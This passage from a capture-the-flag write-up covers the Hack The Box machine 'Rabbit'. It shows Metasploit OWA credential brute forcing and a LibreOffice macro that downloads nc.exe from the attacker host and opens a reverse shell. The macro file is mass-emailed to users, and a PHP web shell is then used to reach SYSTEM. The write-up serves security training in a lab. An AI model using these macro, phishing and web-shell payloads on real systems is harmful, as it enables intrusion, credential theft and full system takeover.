PASSWORD no A specific password to authenticate with
PASS_FILE no File containing passwords, one per line
RHOSTS yes The target host(s), see https://docs.metasploit.com/do
cs/using-metasploit/basics/using-metasploit.html
RPORT 443 yes The target port
STOP_ON_SUCCESS false yes Stop guessing when a credential works for a host
TARGETURI no The location of the NTLM service
THREADS 1 yes The number of concurrent threads (max one per host)
USERNAME no A specific username to authenticate as
USERPASS_FILE no File containing users and passwords separated by space
, one pair per line
USER_AS_PASS false no Try the username as the password for all users
USER_FILE no File containing usernames, one per line
VERBOSE false yes Whether to print output for all attempts
View the full module info with the info, or info -d command.
msf6 auxiliary(scanner/http/owa_ews_login) > set USER_FILE /home/user/Hacking/HackTheBox/Machines/Insane/Rabbit/usernames.txt
USER_FILE => /home/user/Hacking/HackTheBox/Machines/Insane/Rabbit/usernames.txt
msf6 auxiliary(scanner/http/owa_ews_login) > set PASS_FILE /home/user/Hacking/HackTheBox/Machines/Insane/Rabbit/passwords.txt
[PASS_FILE => /home/user/Hacking/HackTheBox/Machines/Insane/Rabbit/passwords.txt
msf6 auxiliary(scanner/http/owa_ews_login) > set RHOSTS 10.10.10.71
RHOSTS => 10.10.10.71
msf6 auxiliary(scanner/http/owa_ews_login) > set TARGETURI /owa
TARGETURI => /owa
msf6 auxiliary(scanner/http/owa_ews_login) > run
[+] Found NTLM service at /ews/ for domain HTB.
[+] 10.10.10.71:443 - Successful login: magnus:xNnWo6272k7x
[+] 10.10.10.71:443 - Successful login: ariel:pussycatdolls
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
msf6 auxiliary(scanner/http/owa_ews_login) >
The credentials are as follows:
1
2
magnus:xNnWo6272k7x
ariel:pussycatdolls
Indeed, login as “magnus” was successful:
Fig 14: Successful OWA login as user “magnus”
The emails talk about Open Office software:
Fig 15: Email hint about weaponizing LibreOffice macros
About powershell constrained language mode:
Fig 16: Email snippet detailing PowerShell Constrained Language Mode
And about a TPS report:
Fig 17: Email mention of the “TPS report” social‑engineering pretext
Note how the interface has changed, I find the light version of Outlook Web App the better, so I logged out from my session as “magnus” and in the login screen I selected:
1
[X] Use the light version of Outlook Web App
As you can see below:
Fig 18: OWA light‑version login screen selection
Initial Shell
Summary
I created a LibreOffice “odt” file containing malicious macros, and sent it as an attachment to everyone in the mail list, hoping any of them would open it. That ultimately granted me a foothold in the machine as local user “raziel”.
Details
I knew about macros in LibreOffice documents from previous machines, and all the hints in the mail inbox made the attack path straight forward to me. So I fired up the application, creating a new blank document:
Fig 19: Blank LibreOffice document ready for macro creation
I head to Tools > Macros > Organize Macros > Basic...
, and a window pops like this:
Fig 20: “Organize Macros” dialog in LibreOffice
I select my document, and click New
:
Fig 21: New macro name prompt for naming the macro “tps”
A window pops asking me to name my macro, “tps” looks just fine. Not suspicious at all. Upon naming my macro, another window pops:
Fig 22: Macro editor window showing the
certutil
+ nc.exe
payload
Here’s where it gets tricky. Let me tell you right now, I tried a bunch of things.
-
I created a windows/meterpreter/reverse_tcp portable executable;
-
I grabbed a copy of a benign executable, like “nmap.exe” in my case, and injected malware in it with Shellter;
-
Changed ports, instead of using an uncommon port like 4444, to use something more covert like 53 (dns);
-
Changed payloads;
-
Powershell payload to get a reverse shell.
None of this worked for me. I wanted a meterpreter session badly, because I know the machine is very old (windows server 2008) and likely vulnerable to old bugs, and a meterpreter session would make things a lot easy. After getting a shell as NT Authority System later, I enumerated the system further to discover that there is no AV running, and I can run (suspicious) executables just fine like winPEASx86.exe (notoriously flagged as malicious by AV vendors) or even the normal nmap-x86 version just fine, but running my executable with meterpreter in it, it’s a no-no. Wonder why. It gets automatically deleted right away as well.
Anyways, back to the macro.
This is the full macro that worked for me:
1
2
3
4
5
REM ***** BASIC *****
Sub Main
Shell("cmd.exe /c certutil.exe -f -split -urlcache http://10.10.14.5/nc.exe C:\Windows\Temp\nc.exe && C:\Windows\Temp\nc.exe 10.10.14.5 443 -e cmd.exe")
End Sub
Obviously, be sure to get a copy of the netcat executable from the static-binaries github repository and let it sit waiting for the macro to trigger alongside a python simple webserver (grab ncat binary from repository, rename it as nc.exe, run the command below in the same folder):
1
sudo python3 -m http.server 80
And also, a netcat on your local machine waiting for the reverse shell connection:
1
sudo rlwrap nc -lvnp 443
This is how it looks now with our beautiful macro:
Fig 23: Document UI displaying the embedded macro code
Save the document hitting Ctrl + S
and you can close the macro window.
Back to the main document window, head to Tools > Macros > Organize Macros > Basic...
again but this time, select the macro and click “Assign…”:
Fig 24: “Assign Macro” dialog for binding the macro to events
Assign the macro to a couple of events that will certainly happen when the user decides to read our document. For instance, the “Start application” event. Select it, hit “Macro…” on the right and select the proper macro:
Fig 25: Event selection list with “Start Application” and “Open Document” checked
Just to make sure I added these two events (Start Application and Open Document):
Fig 26: OWA “New Message” compose interface
Hit “OK”, then “Close”, and save the document once again with Ctrl + S
.
With the weaponized TPS report in hands, I proceeded to email it to everyone. I clicked on the “New Message” button at the top in the OWA interface:
Fig 27: OWA address book “To…” dialog listing all users
In this tab, I clicked on “To…”:
Fig 28: Selecting all recipients in the OWA address book
I selected everyone, and hit the button “To ->”:
Fig 29: Confirmed recipients list showing everyone added
Everyone should be selected:
Fig 30: OWA “Attach” button highlighted in the compose window
Click on “Done” at the top. Back to the main page, hit “attachments”:
Fig 31: File picker dialog for choosing the trojanized document
Browse for the trojanized doc file on the left, hit “Attach” and then hit “Done” at the top:
Fig 32: Attachment preview showing the weaponized TPS report in the email
Fill in some fields and click on the “Send” button at the top:
Fig 33: OWA “Send” button ready to deliver the malicious document
After a few minutes I received the connection in my http server:
1
2
3
4
$ sudo python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
10.10.10.71 - - [01/May/2025 20:58:12] "GET /nc.exe HTTP/1.1" 200 -
10.10.10.71 - - [01/May/2025 20:58:16] "GET /nc.exe HTTP/1.1" 200 -
And the connection in my netcat listener:
1
2
3
4
5
6
7
$ sudo rlwrap nc -lvnp 443
listening on [any] 443 ...
connect to [10.10.14.5] from (UNKNOWN) [10.10.10.71] 60401
Microsoft Windows [Version 6.1.7601]
Copyright (c) 2009 Microsoft Corporation. All rights reserved.
C:\Program Files\LibreOffice\program>
Privilege Escalation
Summary
With a macro shell landing us as raziel, we probed for writable web roots and found C:\wamp64\www\complain
wide‑open. Dropping a one‑liner PHP web‑shell let us execute commands as the Wamp service – which, because of lazy config, ran as SYSTEM. A single whoami
later, we were at the top of the food chain.
Details
Blindly, I went straight to what I already knew: there are multiple web servers running in the machine. There might be misconfigurations in place that allow me to take over the user running them. Perhaps I have write access to a folder where I can place a malicious script in it to obtain RCE as the user running the web server. This happened before to me. I located the web directory for IIS under C:\inetpub
:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
C:\inetpub>dir
dir
Volume in drive C has no label.
Volume Serial Number is AEA8-5415
Directory of C:\inetpub
10/24/2017 01:37 PM <DIR> .
10/24/2017 01:37 PM <DIR> ..
10/24/2017 01:37 PM <DIR> custerr
11/15/2017 03:53 PM <DIR> history
10/24/2017 01:37 PM <DIR> logs
10/24/2017 01:37 PM <DIR> temp
10/28/2017 09:55 AM <DIR> wwwroot
0 File(s) 0 bytes
7 Dir(s) 24,478,056,448 bytes free
In wwwroot folder would be the ideal place to put the malicious script as these are the files we can access from the outside, that will be processed by the server (in theory):
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
C:\inetpub\wwwroot>dir
dir
Volume in drive C has no label.
Volume Serial Number is AEA8-5415
Directory of C:\inetpub\wwwroot
10/28/2017 09:55 AM <DIR> .
10/28/2017 09:55 AM <DIR> ..
10/24/2017 01:38 PM <DIR> aspnet_client
10/24/2017 01:37 PM 689 iisstart.htm
10/28/2017 10:04 AM 75 web.config
10/24/2017 01:37 PM 184,946 welcome.png
3 File(s) 185,710 bytes
3 Dir(s) 24,478,056,448 bytes free
I got a simple aspx webshell, tried to download it to the wwwroot folder but got permission denied:
1
2
3
4
5
6
7
8
9
10
C:\inetpub\wwwroot>powershell iwr -uri 10.10.14.5/shell.aspx -outfile shell.aspx
powershell iwr -uri 10.10.14.5/shell.aspx -outfile shell.aspx
iwr : Access to the path 'C:\inetpub\wwwroot\shell.aspx' is denied.
At line:1 char:1
+ iwr -uri 10.10.14.5/shell.aspx -outfile shell.aspx
+ ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+ CategoryInfo : NotSpecified: (:) [Invoke-WebRequest], Unauthori
zedAccessException
+ FullyQualifiedErrorId : System.UnauthorizedAccessException,Microsoft.Pow
erShell.Commands.InvokeWebRequestCommand
I tried other folders too, but that has no future. I proceeded to locate the folder for the wampp suite (php is running, as seen when exploiting Complain earlier). I located it at C:\wamp64:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
C:\inetpub\wwwroot>dir C:\
dir C:\
Volume in drive C has no label.
Volume Serial Number is AEA8-5415
Directory of C:\
10/24/2017 01:37 PM <DIR> inetpub
07/13/2009 11:20 PM <DIR> PerfLogs
03/21/2025 01:04 AM <DIR> Program Files
11/14/2017 04:40 PM <DIR> Program Files (x86)
05/01/2025 04:03 PM <DIR> temp
10/29/2017 10:05 AM <DIR> Users
10/28/2017 11:13 AM <DIR> wamp64
03/21/2025 01:04 AM <DIR> Windows
0 File(s) 0 bytes
8 Dir(s) 24,477,982,720 bytes free
I created a simple PHP webshell:
1
<?php echo exec($_POST['cmd']); ?>
And under C:\wamp64\www\complain
, I used powershell IWR to grab the shell:
1
2
C:\wamp64\www\complain>powershell iwr -uri 10.10.14.5/shell.php -outfile shell.php
powershell iwr -uri 10.10.14.5/shell.php -outfile shell.php
Turns out I have write access to this folder, so the shell is available in the webserver (8080 is the port this time, as port 80 and 443 are bind to IIS). I used curl to run commands as NT Authority System (jackpot!):
1
2
$ curl 10.10.10.71:8080/complain/shell.php -X POST --data 'cmd=whoami'
nt authority\system
To get a privileged reverse shell, I used the same netcat binary from earlier:
1
$ curl 10.10.10.71:8080/complain/shell.php -X POST --data 'cmd=C:\windows\temp\nc.exe 10.10.14.5 443 -e powershell.exe'
And received the connection back in my machine:
1
2
3
4
5
6
7
8
$ sudo rlwrap nc -lvnp 443
listening on [any] 443 ...
connect to [10.10.14.5] from (UNKNOWN) [10.10.10.71] 33994
Windows PowerShell
Copyright (C) 2016 Microsoft Corporation. All rights reserved.
PS C:\wamp64\www\complain> whoami
nt authority\system
At this point, lateral movement or domain escalation wasn’t necessary — SYSTEM was the crown jewel.
Conclusion
Rabbit had dusty legacy services, forgotten web apps, and “that’ll never get exploited” misconfigurations. From poking at IIS and stumbling across that rickety Complain portal, to pulling creds via classic SQL-i and slipping into OWA, every step built on the last with satisfying momentum. The macro payload was the pièce de résistance — so old-school it hurt — and it landed perfectly, netting us the foothold we needed. One writable Wamp directory later, and SYSTEM was ours.
What made this box sing wasn’t any single exploit, but how neatly each piece dovetailed into the next. Enumeration wasn’t just important — it was the entire storyline. That’s the beauty of boxes like this: not just finding the rabbit hole, but diving in headfirst, mapping the tunnels, and knowing exactly when to dig.
TL;DR — never underestimate legacy. Never ignore a weird CMS. And always, always follow the rabbits.